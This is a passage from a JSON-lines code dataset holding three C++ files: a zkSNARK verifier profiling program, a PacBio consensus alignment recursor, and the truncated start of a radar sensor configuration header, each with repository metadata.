"max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.3428571429, "max_line_length": 108, "alphanum_fraction": 0.7728375101, "num_tokens": 331, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO\n\n", "lm_q1_score": 0.5195213219520929, "lm_q2_score": 0.27512971787959795, "lm_q1q2_score": 0.14293575474111508}}
{"text": "//---------------------------------------------------------------------------//\n// Copyright (c) 2018-2020 Mikhail Komarov <nemo@nil.foundation>\n// Copyright (c) 2020 Nikita Kaskov <nbering@nil.foundation>\n//\n// MIT License\n//\n// Permission is hereby granted, free of charge, to any person obtaining a copy\n// of this software and associated documentation files (the \"Software\"), to deal\n// in the Software without restriction, including without limitation the rights\n// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n// copies of the Software, and to permit persons to whom the Software is\n// furnished to do so, subject to the following conditions:\n//\n// The above copyright notice and this permission notice shall be included in all\n// copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n// SOFTWARE.\n//---------------------------------------------------------------------------//\n\n#include <boost/program_options.hpp>\n\n#include <nil/crypto3/zk/snark/default_types/ram_zksnark_pp.hpp>\n#include <nil/crypto3/zk/snark/relations/ram_computations/memory/examples/memory_contents_examples.hpp>\n#include <nil/crypto3/zk/snark/relations/ram_computations/rams/examples/ram_examples.hpp>\n#include <nil/crypto3/zk/snark/relations/ram_computations/rams/tinyram/tinyram_params.hpp>\n#include <nil/crypto3/zk/snark/schemes/zksnark/ram_zksnark/examples/run_ram_zksnark.hpp>\n#include <nil/crypto3/zk/snark/schemes/zksnark/ram_zksnark/ram_zksnark.hpp>\n\nusing namespace nil::crypto3::zk::snark;\n\ntemplate<typename FieldType>\nvoid simulate_random_memory_contents(const tinyram_architecture_params &ap, const std::size_t input_size,\n                                     const std::size_t program_size) {\n    const std::size_t num_addresses = 1ul << ap.dwaddr_len();\n    const std::size_t value_size = 2 * ap.w;\n    memory_contents init_random =\n        random_memory_contents(num_addresses, value_size, program_size + (input_size + 1) / 2);\n\n    std::cout << \"Initialize random delegated memory\" << std::endl;\n    delegated_ra_memory<FieldType> dm_random(num_addresses, value_size, init_random);\n}\n\ntemplate<typename CurveType>\nvoid profile_ram_zksnark_verifier(const tinyram_architecture_params &ap, const std::size_t input_size,\n                                  const std::size_t program_size) {\n    typedef ram_zksnark_machine_pp<CurveType> RAMType;\n    const std::size_t time_bound = 10;\n\n    const std::size_t boot_trace_size_bound = program_size + input_size;\n    const ram_example<RAMType> example = gen_ram_example_complex<RAMType>(ap, boot_trace_size_bound, time_bound, true);\n\n    ram_zksnark_proof<CurveType> pi;\n    ram_zksnark_verification_key<CurveType> vk = ram_zksnark_verification_key<CurveType>::dummy_verification_key(ap);\n\n    std::cout << \"Verify fake proof\" << std::endl;\n    ram_zksnark_verifier<CurveType>(vk, example.boot_trace, time_bound, pi);\n}\n\ntemplate<typename CurveType>\nvoid print_ram_zksnark_verifier_profiling() {\n    algebra::inhibit_profiling_info = true;\n    for (std::size_t w : {16, 32}) {\n        const std::size_t k = 16;\n\n        for (std::size_t input_size : {0, 10, 100}) {\n            for (std::size_t program_size = 10; program_size <= 10000; program_size *= 10) {\n                const tinyram_architecture_params ap(w, k);\n\n                profile_ram_zksnark_verifier<CurveType>(ap, input_size, program_size);\n\n                const double input_map = algebra::last_times[\"Call to ram_zksnark_verifier_input_map\"];\n                const double preprocessing = algebra::last_times[\"Call to r1cs_ppzksnark_process_verification_key\"];\n                const double accumulate = algebra::last_times[\"Call to r1cs_ppzksnark_IC_query::accumulate\"];\n                const double pairings = algebra::last_times[\"Online pairing computations\"];\n                const double total = algebra::last_times[\"Call to ram_zksnark_verifier\"];\n                const double rest = total - (input_map + preprocessing + accumulate + pairings);\n\n                const double delegated_ra_memory_init =\n                    algebra::last_times[\"Construct delegated_ra_memory from memory map\"];\n                simulate_random_memory_contents<algebra::Fr<typename CurveType::curve_A_pp>>(ap, input_size,\n                                                                                             program_size);\n                const double delegated_ra_memory_init_random =\n                    algebra::last_times[\"Initialize random delegated memory\"];\n                const double input_map_random = input_map - delegated_ra_memory_init + delegated_ra_memory_init_random;\n                const double total_random = total - delegated_ra_memory_init + delegated_ra_memory_init_random;\n\n                printf(\n                    \"w = %zu, k = %zu, program_size = %zu, input_size = %zu, input_map = %0.2fms, preprocessing = \"\n                    \"%0.2fms, accumulate = %0.2fms, pairings = %0.2fms, rest = %0.2fms, total = %0.2fms \"\n                    \"(input_map_random = %0.2fms, total_random = %0.2fms)\\n\",\n                    w, k, program_size, input_size, input_map * 1e-6, preprocessing * 1e-6, accumulate * 1e-6,\n                    pairings * 1e-6, rest * 1e-6, total * 1e-6, input_map_random * 1e-6, total_random * 1e-6);\n            }\n        }\n    }\n}\n\ntemplate<typename CurveType>\nvoid profile_ram_zksnark(const tinyram_architecture_params &ap, const std::size_t program_size,\n                         const std::size_t input_size, const std::size_t time_bound) {\n    typedef ram_zksnark_machine_pp<CurveType> RAMType;\n\n    const std::size_t boot_trace_size_bound = program_size + input_size;\n    const ram_example<RAMType> example = gen_ram_example_complex<RAMType>(ap, boot_trace_size_bound, time_bound, true);\n    const bool bit = run_ram_zksnark<CurveType>(example);\n    assert(bit);\n}\n\nnamespace po = boost::program_options;\n\nbool process_command_line(const int argc, const char **argv, bool &profile_gp, std::size_t &w, std::size_t &k,\n                          bool &profile_v, std::size_t &l) {\n    try {\n        po::options_description desc(\"Usage\");\n        desc.add_options()(\"help\", \"print this help message\")(\"profile_gp\", \"profile generator and prover\")(\n            \"w\", po::value<std::size_t>(&w)->default_value(16), \"word size\")(\n            \"k\", po::value<std::size_t>(&k)->default_value(16), \"register count\")(\"profile_v\", \"profile verifier\")(\n            \"v\", \"print version info\")(\"l\", po::value<std::size_t>(&l)->default_value(10), \"program length\");\n\n        po::variables_map vm;\n        po::store(po::parse_command_line(argc, argv, desc), vm);\n\n        if (vm.count(\"v\")) {\n            algebra::print_compilation_info();\n            exit(0);\n        }\n\n        if (vm.count(\"help\")) {\n            std::cout << desc << \"\\n\";\n            return false;\n        }\n\n        profile_gp = vm.count(\"profile_gp\");\n        profile_v = vm.count(\"profile_v\");\n\n        if (!(vm.count(\"profile_gp\") ^ vm.count(\"profile_v\"))) {\n            std::cout << \"Must choose between profiling generator/prover and profiling verifier (see --help)\\n\";\n            return false;\n        }\n\n        po::notify(vm);\n    } catch (std::exception &e) {\n        std::cerr << \"Error: \" << e.what() << \"\\n\";\n        return false;\n    }\n\n    return true;\n}\n\nint main(int argc, const char *argv[]) {\n    bool profile_gp;\n    std::size_t w;\n    std::size_t k;\n    bool profile_v;\n    std::size_t l;\n\n    if (!process_command_line(argc, argv, profile_gp, w, k, profile_v, l)) {\n        return 1;\n    }\n\n    tinyram_architecture_params ap(w, k);\n\n    if (profile_gp) {\n        profile_ram_zksnark<default_ram_zksnark_pp>(ap, 100, 100, 10);    // w, k, l, n, T\n    }\n\n    if (profile_v) {\n        profile_ram_zksnark_verifier<default_ram_zksnark_pp>(ap, l / 2, l / 2);\n    }\n}\n", "meta": {"hexsha": "dc6b3b5d8bc9a84cdc52d655867b8642deb1aaf5", "size": 8279, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "perf/proof_systems/zksnark/ram_zksnark/profile_ram_zksnark.cpp", "max_stars_repo_name": "NoamDev/crypto3-zk", "max_stars_repo_head_hexsha": "5f03e49b737994a3cecf673b029a4e32a2a8aaa5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "perf/proof_systems/zksnark/ram_zksnark/profile_ram_zksnark.cpp", "max_issues_repo_name": "NoamDev/crypto3-zk", "max_issues_repo_head_hexsha": "5f03e49b737994a3cecf673b029a4e32a2a8aaa5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "perf/proof_systems/zksnark/ram_zksnark/profile_ram_zksnark.cpp", "max_forks_repo_name": "NoamDev/crypto3-zk", "max_forks_repo_head_hexsha": "5f03e49b737994a3cecf673b029a4e32a2a8aaa5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 46.7740112994, "max_line_length": 119, "alphanum_fraction": 0.6530982003, "num_tokens": 2011, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO\n\n", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.2814056194821862, "lm_q1q2_score": 0.14290111224789337}}
{"text": "// Copyright (c) 2011-2013, Pacific Biosciences of California, Inc.\n//\n// All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted (subject to the limitations in the\n// disclaimer below) provided that the following conditions are met:\n//\n//  * Redistributions of source code must retain the above copyright\n//    notice, this list of conditions and the following disclaimer.\n//\n//  * Redistributions in binary form must reproduce the above\n//    copyright notice, this list of conditions and the following\n//    disclaimer in the documentation and/or other materials provided\n//    with the distribution.\n//\n//  * Neither the name of Pacific Biosciences nor the names of its\n//    contributors may be used to endorse or promote products derived\n//    from this software without specific prior written permission.\n//\n// NO EXPRESS OR IMPLIED LICENSES TO ANY PARTY'S PATENT RIGHTS ARE\n// GRANTED BY THIS LICENSE. THIS SOFTWARE IS PROVIDED BY PACIFIC\n// BIOSCIENCES AND ITS CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED\n// WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n// OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n// DISCLAIMED. IN NO EVENT SHALL PACIFIC BIOSCIENCES OR ITS\n// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n// USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n// ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n// OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n// SUCH DAMAGE.\n\n// Author: David Alexander\n\n#include <ConsensusCore/Quiver/SimpleRecursor.hpp>\n\n#include <ConsensusCore/Edna/EdnaEvaluator.hpp>\n#include <ConsensusCore/Matrix/DenseMatrix.hpp>\n#include <ConsensusCore/Matrix/SparseMatrix.hpp>\n#include <ConsensusCore/Quiver/detail/Combiner.hpp>\n#include <ConsensusCore/Quiver/detail/RecursorBase.hpp>\n#include <ConsensusCore/Quiver/QvEvaluator.hpp>\n#include <ConsensusCore/Interval.hpp>\n#include <ConsensusCore/Utils.hpp>\n\n#include <algorithm>\n#include <boost/tuple/tuple.hpp>\n#include <climits>\n#include <utility>\n\nusing std::min;\nusing std::max;\n\n#define NEG_INF -FLT_MAX\n\nnamespace ConsensusCore {\n\n    template<typename M, typename E, typename C>\n    void\n    SimpleRecursor<M, E, C>::FillAlpha(const E& e, const M& guide, M& alpha) const\n    {\n        int I = e.ReadLength();\n        int J = e.TemplateLength();\n\n        assert(alpha.Rows() == I + 1 && alpha.Columns() == J + 1);\n        assert(guide.IsNull() ||\n               (guide.Rows() == alpha.Rows() && guide.Columns() == alpha.Columns()));\n\n        int hintBeginRow = 0, hintEndRow = 0;\n\n        for (int j = 0; j <= J; ++j)\n        {\n            this->RangeGuide(j, guide, alpha, &hintBeginRow, &hintEndRow);\n\n            int requiredEndRow = min(I + 1, hintEndRow);\n\n            int i;\n            float score = NEG_INF;\n            float thresholdScore = NEG_INF;\n            float maxScore = NEG_INF;\n\n            alpha.StartEditingColumn(j, hintBeginRow, hintEndRow);\n\n            int beginRow = hintBeginRow, endRow;\n            for (i = beginRow;\n                 i < I + 1 && (score >= thresholdScore || i < requiredEndRow);\n                 ++i)\n            {\n                float thisMoveScore;\n                score = NEG_INF;\n\n                // Start:\n                if (i == 0 && j == 0)\n                {\n                    score = 0.0f;\n                }\n\n                // Incorporation:\n                if (i > 0 && j > 0)\n                {\n                    thisMoveScore = alpha(i - 1, j - 1) + e.Inc(i - 1, j - 1);\n                    score = C::Combine(score, thisMoveScore);\n                }\n\n                // Extra:\n                if (i > 0)\n                {\n                    thisMoveScore = alpha(i - 1, j) + e.Extra(i - 1, j);\n                    score = C::Combine(score, thisMoveScore);\n                }\n\n                // Delete:\n                if (j > 0)\n                {\n                    thisMoveScore = alpha(i, j - 1) + e.Del(i, j - 1);\n                    score = C::Combine(score, thisMoveScore);\n                }\n\n                // Merge:\n                if ((this->movesAvailable_ & MERGE) && j > 1 && i > 0)\n                {\n                    thisMoveScore = alpha(i - 1, j - 2) + e.Merge(i - 1, j - 2);\n                    score = C::Combine(score, thisMoveScore);\n                }\n\n                //  Save score\n                alpha.Set(i, j, score);\n\n                if (score > maxScore)\n                {\n                    maxScore = score;\n                    thresholdScore = maxScore - this->bandingOptions_.ScoreDiff;\n                }\n            }\n\n            endRow = i;\n            alpha.FinishEditingColumn(j, beginRow, endRow);\n\n            // Now, revise the hints to tell the caller where the mass of the\n            // distribution really lived in this column.\n            hintEndRow = endRow;\n            for (i = beginRow; i < endRow && alpha(i, j) < thresholdScore; ++i);\n            hintBeginRow = i;\n        }\n    }\n\n\n    template<typename M, typename E, typename C>\n    void\n    SimpleRecursor<M, E, C>::FillBeta(const E& e, const M& guide, M& beta) const\n    {\n        int I = e.ReadLength();\n        int J = e.TemplateLength();\n\n        assert(beta.Rows() == I + 1 && beta.Columns() == J + 1);\n        assert(guide.IsNull() ||\n               (guide.Rows() == beta.Rows() && guide.Columns() == beta.Columns()));\n\n        int hintBeginRow = I + 1, hintEndRow = I + 1;\n\n        for (int j = J; j >= 0; --j)\n        {\n            this->RangeGuide(j, guide, beta, &hintBeginRow, &hintEndRow);\n\n            int requiredBeginRow = max(0, hintBeginRow);\n\n            beta.StartEditingColumn(j, hintBeginRow, hintEndRow);\n\n            int i;\n            float score = NEG_INF;\n            float thresholdScore = NEG_INF;\n            float maxScore = NEG_INF;\n\n            int beginRow, endRow = hintEndRow;\n            for (i = endRow - 1;\n                 i >= 0 && (score >= thresholdScore || i >= requiredBeginRow);\n                 --i)\n            {\n                float thisMoveScore;\n                score = NEG_INF;\n\n                // Start:\n                if (i == I && j == J)\n                {\n                    score = 0.0f;\n                }\n\n                // Incorporation:\n                if (i < I && j < J)\n                {\n                    thisMoveScore = beta(i + 1, j + 1) + e.Inc(i, j);\n                    score = C::Combine(score, thisMoveScore);\n                }\n\n                // Extra:\n                if (i < I)\n                {\n                    thisMoveScore = beta(i + 1, j) + e.Extra(i, j);\n                    score = C::Combine(score, thisMoveScore);\n                }\n\n                // Delete:\n                if (j < J)\n                {\n                    thisMoveScore = beta(i, j + 1) + e.Del(i, j);\n                    score = C::Combine(score, thisMoveScore);\n                }\n\n                // Merge:\n                if ((this->movesAvailable_ & MERGE) && j < J - 1 && i < I)\n                {\n                    thisMoveScore = beta(i + 1, j + 2) + e.Merge(i, j);\n                    score = C::Combine(score, thisMoveScore);\n                }\n\n                //  Save score\n                beta.Set(i, j, score);\n\n                if (score > maxScore)\n                {\n                    maxScore = score;\n                    thresholdScore = maxScore - this->bandingOptions_.ScoreDiff;\n                }\n            }\n\n            beginRow = i + 1;\n            beta.FinishEditingColumn(j, beginRow, endRow);\n\n            // Now, revise the hints to tell the caller where the mass of the\n            // distribution really lived in this column.\n            hintBeginRow = beginRow;\n            for (i = endRow;\n                 i > beginRow && beta(i - 1, j) < thresholdScore;\n                 --i);\n            hintEndRow = i;\n        }\n    }\n\n    /// Calculate the recursion score by \"stitching\" together partial\n    /// alpha and beta matrices.  alphaColumn, betaColumn, and\n    /// absoluteColumn all refer to the same logical position in the\n    /// template, but may have different values if, for instance,\n    /// alpha here is a sub-range of the columns of the full alpha\n    /// matrix.  Columns betaColumn and betaColumn + 1 of beta will be\n    /// read; columns alphaColumn - 1 and alphaColumn - 2 of alpha\n    /// will be read.\n    template<typename M, typename E, typename C>\n    float\n    SimpleRecursor<M, E, C>::LinkAlphaBeta(const E& e,\n                                           const M& alpha, int alphaColumn,\n                                           const M& beta, int betaColumn,\n                                           int absoluteColumn) const\n    {\n        const int I = e.ReadLength();\n\n        assert(alphaColumn > 1 && absoluteColumn > 1);\n        assert(absoluteColumn < e.TemplateLength());\n\n        int usedBegin, usedEnd;\n        boost::tie(usedBegin, usedEnd) = \\\n            RangeUnion(alpha.UsedRowRange(alphaColumn - 2),\n                       alpha.UsedRowRange(alphaColumn - 1),\n                       beta.UsedRowRange(betaColumn),\n                       beta.UsedRowRange(betaColumn + 1));\n\n        float v = NEG_INF, thisMoveScore;\n\n        for (int i = usedBegin; i < usedEnd; i++)\n        {\n            if (i < I)\n            {\n                // Incorporate\n                thisMoveScore = alpha(i, alphaColumn - 1) +\n                                e.Inc(i, absoluteColumn - 1) +\n                                beta(i + 1, betaColumn);\n                v = C::Combine(v, thisMoveScore);\n\n                // Merge (2 possible ways):\n                thisMoveScore = alpha(i, alphaColumn - 2) +\n                                e.Merge(i, absoluteColumn - 2) +\n                                beta(i + 1, betaColumn);\n                v = C::Combine(v, thisMoveScore);\n\n                thisMoveScore = alpha(i, alphaColumn - 1) +\n                                e.Merge(i, absoluteColumn - 1) +\n                                beta(i + 1, betaColumn + 1);\n                v = C::Combine(v, thisMoveScore);\n            }\n\n            // Delete:\n            thisMoveScore = alpha(i, alphaColumn - 1) +\n                            e.Del(i, absoluteColumn - 1) +\n                            beta(i, betaColumn);\n            v = C::Combine(v, thisMoveScore);\n        }\n\n        return v;\n    }\n\n\n    //\n    // Reads: alpha(:, (beginColumn-2)..)\n    //\n    template<typename M, typename E, typename C>\n    void\n    SimpleRecursor<M, E, C>::ExtendAlpha(const E& e,\n                                         const M& alpha, int beginColumn,\n                                         M& ext, int numExtColumns) const\n    {\n        assert(numExtColumns >= 2);\n        assert(alpha.Rows() == e.ReadLength() + 1 &&\n               ext.Rows() == e.ReadLength() + 1);\n\n        // The new template may not be the same length as the old template.\n        // Just make sure that we have anough room to fill out the extend buffer\n        assert(beginColumn + 1 < e.TemplateLength() + 1);\n        assert(ext.Columns() >= numExtColumns);\n        assert(beginColumn >= 2);\n\n        for (int extCol = 0; extCol < numExtColumns; extCol++)\n        {\n            int j = beginColumn + extCol;\n            int beginRow, endRow;\n\n            //\n            // If this extend is contained within the column bounds of\n            // the original alpha, we use the row range that was\n            // previously determined.  Otherwise start at alpha's last\n            // UsedRow beginRow and go to the end.\n            //\n            if (j < alpha.Columns())\n            {\n                boost::tie(beginRow, endRow) = alpha.UsedRowRange(j);\n            }\n            else\n            {\n                beginRow = alpha.UsedRowRange(alpha.Columns() - 1).Begin;\n                endRow = alpha.Rows();\n            }\n\n            ext.StartEditingColumn(extCol, beginRow, endRow);\n\n            int i;\n            float score;\n\n            for (i = beginRow; i < endRow; i++)\n            {\n                float thisMoveScore;\n                score = NEG_INF;\n\n                // Incorporation:\n                if (i > 0 && j > 0)\n                {\n                    float prev = extCol == 0 ?\n                            alpha(i - 1, j - 1) :\n                            ext(i - 1, extCol - 1);\n                    thisMoveScore = prev + e.Inc(i - 1, j - 1);\n                    score = C::Combine(score, thisMoveScore);\n                }\n\n                // Extra:\n                if (i > 0)\n                {\n                    thisMoveScore = ext(i - 1, extCol) + e.Extra(i - 1, j);\n                    score = C::Combine(score, thisMoveScore);\n                }\n\n                // Delete:\n                if (j > 0)\n                {\n                    float prev = extCol == 0 ?\n                            alpha(i, j - 1) :\n                            ext(i, extCol - 1);\n                    thisMoveScore = prev + e.Del(i, j - 1);\n                    score = C::Combine(score, thisMoveScore);\n                }\n\n                // FIXME: is the merge code below incorrect for numExtColumns > 2?\n                // Merge:\n                if ((this->movesAvailable_ & MERGE) && j > 1 && i > 0)\n                {\n                    float prev = alpha(i - 1, j - 2);\n                    thisMoveScore = prev + e.Merge(i - 1, j - 2);\n                    score = C::Combine(score, thisMoveScore);\n                }\n\n                ext.Set(i, extCol, score);\n            }\n            assert (i == endRow);\n            ext.FinishEditingColumn(extCol, beginRow, endRow);\n        }\n    }\n\n\n    // Semantic: After ExtendBeta(B, j), we have\n    //    ext(:, numExtColumns-1) = B'(:,j)\n    //    ext(:, numExtColumns-2) = B'(:,j-1) ...\n    //\n    // Note: lastColumn is the numerically largest column number that\n    // will be filled, but it is filled first since beta fill is done\n    // backwards.\n    //\n    // Accesses B(:, ..(j+2))\n    template<typename M, typename E, typename C>\n    void\n    SimpleRecursor<M, E, C>::ExtendBeta(const E& e,\n                                        const M& beta, int lastColumn,\n                                        M& ext, int numExtColumns,\n                                        int lengthDiff) const\n    {\n        int I = beta.Rows() - 1;\n        int J = beta.Columns() - 1;\n\n        int lastExtColumn = numExtColumns - 1;\n\n        assert(beta.Rows() == I + 1 &&\n               ext.Rows() == I + 1);\n\n        // The new template may not be the same length as the old template.\n        // Just make sure that we have anough room to fill out the extend buffer\n        assert(lastColumn + 2 <= J);\n        assert(lastColumn >= 0);\n        assert(ext.Columns() >= numExtColumns);\n\n        for (int j = lastColumn; j > lastColumn - numExtColumns; j--)\n        {\n            int jp = j + lengthDiff;\n            int extCol = lastExtColumn - (lastColumn - j);\n            int beginRow, endRow;\n\n            if (j < 0)\n            {\n                beginRow = 0;\n                endRow = beta.UsedRowRange(0).End;\n            }\n            else\n            {\n                boost::tie(beginRow, endRow) = beta.UsedRowRange(j);\n            }\n\n            ext.StartEditingColumn(extCol, beginRow, endRow);\n\n            int i;\n            float score;\n\n            for (i = endRow - 1;\n                 i >= beginRow;\n                 i--)\n            {\n                float thisMoveScore;\n                score = NEG_INF;\n\n                // Incorporation:\n                if (i < I && j < J)\n                {\n                    float prev = (extCol == lastExtColumn) ?\n                        beta(i + 1, j + 1) :\n                        ext(i + 1, extCol + 1);\n                    thisMoveScore = prev + e.Inc(i, jp);\n                    score = C::Combine(score, thisMoveScore);\n                }\n\n                // Extra:\n                if (i < I)\n                {\n                    thisMoveScore = ext(i + 1, extCol) + e.Extra(i, jp);\n                    score = C::Combine(score, thisMoveScore);\n                }\n\n                // Delete:\n                if (j < J)\n                {\n                    float prev = (extCol == lastExtColumn) ?\n                        beta(i, j + 1) :\n                        ext(i, extCol + 1);\n                    thisMoveScore = prev + e.Del(i, jp);\n                    score = C::Combine(score, thisMoveScore);\n                }\n\n                // FIXME: is the merge code below incorrect for numExtColumns > 2?\n                // Merge:\n                if ((this->movesAvailable_ & MERGE) && j < J - 1 && i < I)\n                {\n                    thisMoveScore = beta(i + 1, j + 2) + e.Merge(i, jp);\n                    score = C::Combine(score, thisMoveScore);\n                }\n\n                ext.Set(i, extCol, score);\n            }\n            ext.FinishEditingColumn(extCol, beginRow, endRow);\n        }\n    }\n\n\n    template<typename M, typename E, typename C>\n    SimpleRecursor<M, E, C>::SimpleRecursor(int movesAvailable, const BandingOptions& banding)\n        : detail::RecursorBase<M, E, C>(movesAvailable, banding)\n    {}\n\n\n    template class SimpleRecursor<DenseMatrixF,  QvEvaluator, detail::ViterbiCombiner>;\n    template class SimpleRecursor<SparseMatrixF, QvEvaluator, detail::ViterbiCombiner>;\n    template class SimpleRecursor<SparseMatrixF, QvEvaluator, detail::SumProductCombiner>;\n    template class SimpleRecursor<SparseMatrixF, EdnaEvaluator, detail::SumProductCombiner>;\n}\n", "meta": {"hexsha": "3303581839b47aab6fe41c62fdc6194b5f2cc3a2", "size": 17838, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "ConsensusCore/src/C++/Quiver/SimpleRecursor.cpp", "max_stars_repo_name": "pb-cdunn/pbccs", "max_stars_repo_head_hexsha": "fb327a7145791d3c023bc63717f5de2925225ccc", "max_stars_repo_licenses": ["BSD-3-Clause-Clear"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "ConsensusCore/src/C++/Quiver/SimpleRecursor.cpp", "max_issues_repo_name": "pb-cdunn/pbccs", "max_issues_repo_head_hexsha": "fb327a7145791d3c023bc63717f5de2925225ccc", "max_issues_repo_licenses": ["BSD-3-Clause-Clear"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ConsensusCore/src/C++/Quiver/SimpleRecursor.cpp", "max_forks_repo_name": "pb-cdunn/pbccs", "max_forks_repo_head_hexsha": "fb327a7145791d3c023bc63717f5de2925225ccc", "max_forks_repo_licenses": ["BSD-3-Clause-Clear"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.0451866405, "max_line_length": 94, "alphanum_fraction": 0.4852001345, "num_tokens": 4104, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.2814056194821861, "lm_q1q2_score": 0.14290111224789334}}
{"text": "#ifndef _RadarContiLong_H\r\n#define _RadarContiLong_H\r\n\r\n#include \"OpenICV/Core/icvFunction.h\"\r\n#include \"OpenICV/Core/icvFunctionFactory.h\"\r\n#include \"OpenICV/Core/icvSubscriber.h\"\r\n#include \"OpenICV/Core/icvPublisher.h\"\r\n#include \"OpenICV/Basis/icvPrimitiveData.hxx\"\r\n#include \"OpenICV/Net/icvUdpReceiverSource.h\"\r\n#include \"OpenICV/structure/RadarFrameLong.h\"\r\n#include \"OpenICV/Basis/icvStructureData.hxx\"\r\n\r\n#include \"CanFrame.h\"\r\n#include <boost/thread/thread.hpp>\r\n\r\nusing namespace icv;\r\nusing namespace core;\r\nusing namespace icv::function;\r\n\r\nclass RadarContiLong: public icvUdpReceiverSource\r\n{\r\npublic:\r\n  \ttypedef data::icvStructureData<RadarLongOut>    icvLRRradardata;\r\n\r\n  \tRadarContiLong(icv_shared_ptr<const icvMetaData> info) : icvUdpReceiverSource(info)\r\n\t{\r\n\t\t//temp_resu=new icvLRRradardata();\r\n\t\tRegister_Pub(\"RadarContiLong\");\r\n\t};\r\n\r\n\tvoid sendRadarConfig() \r\n\t{\r\n        int ret1, ret2,ret3;\r\n        uint8 sendBuf200[13],sendBuf202[13],sendBuf301[13];\r\n        uint16 velocity =0;// (uint16)(vehicleInfo.velocity / 0.0625); // km/h-->m/s, default value: 0\r\n        int16 yawrate = 0;//(int16)(vehicleInfo.yawrate / 0.0625); // rad/s-->deg/s, default value: 0\r\n\r\n        memset(sendBuf200, 0, sizeof(sendBuf200));\r\n        sendBuf200[0] = 0x08;\r\n        sendBuf200[1] = 0x00;\r\n        sendBuf200[2] = 0x00;\r\n        sendBuf200[3] = 0x02;\r\n        sendBuf200[4] = 0x00;\r\n\r\n\r\n        sendBuf200[5] = 0xf9;//  (11111001);sensor id;power not to change\r\n        sendBuf200[6] = 0x19;//  (00011001);64+32+4=100;x2=200m\r\n        sendBuf200[7] = 0x00; // (00000000)\r\n        sendBuf200[8] =0x00;// empty;\r\n        sendBuf200[9] =0x08;// sensor iD:0,output 1:objects,power standard;\r\n        sendBuf200[10]=0x9c;// nvm,sorted by range;extenstion and quality yes;CTRL DElay sendornot false\r\n        sendBuf200[11]=0x01;//rcs standard\r\n        sendBuf200[12]=0x00;//empty\r\n        send(sendBuf200, 13);\r\n\t\tusleep(10000);\r\n\t\tmemset(sendBuf202, 0, sizeof(sendBuf202));\r\n                                                                                                                                    \r\n        sendBuf202[0] = 0x08;\r\n        sendBuf202[1] = 0x00;\r\n        sendBuf202[2] = 0x00;                                                                                               \r\n        sendBuf202[3] = 0x02;\r\n        sendBuf202[4] = 0x02;\r\n\r\n        sendBuf202[5] = 0x8e; //oject filter,filtering radial distance\r\n        sendBuf202[6] = 0x00;  //00\r\n        sendBuf202[7] = 0x05; //min:5x0.1=0.5m\r\n        sendBuf202[8] = 0x07;//7x256+13x8=1896 x0.1 max 189.6m\r\n        sendBuf202[9] = 0xd0;                                                                                             \r\n        send(sendBuf202, 13);\r\n\t\tusleep(10000);\r\n\t}\r\n\r\n\r\nvoid procLrrRadarData() \r\n{\r\n\tuint validIdx = 0;\r\n\tfor (int i = 0; i <=numOfTgt; i++)//LrrMaxTarNum\r\n\t{\r\n    if ((lrrRadarRawData[i].rangex > 0)&&(lrrRadarRawData[i].rangex < 200/0.2)&&(lrrRadarRawData[i].isUpdated==1))\r\n  \t{\r\n\t\tlrrRadarProcData[validIdx].id = lrrRadarRawData[i].objID;\r\n\t\tlrrRadarProcData[validIdx].flag = 1;\r\n\t\tlrrRadarProcData[validIdx].x = (float)(lrrRadarRawData[i].rangex*0.2); //scale: 0.2\r\n\t\t// ICV_LOG_INFO<<\"long rangex: transfer  \"<<validIdx<<\": \"<< 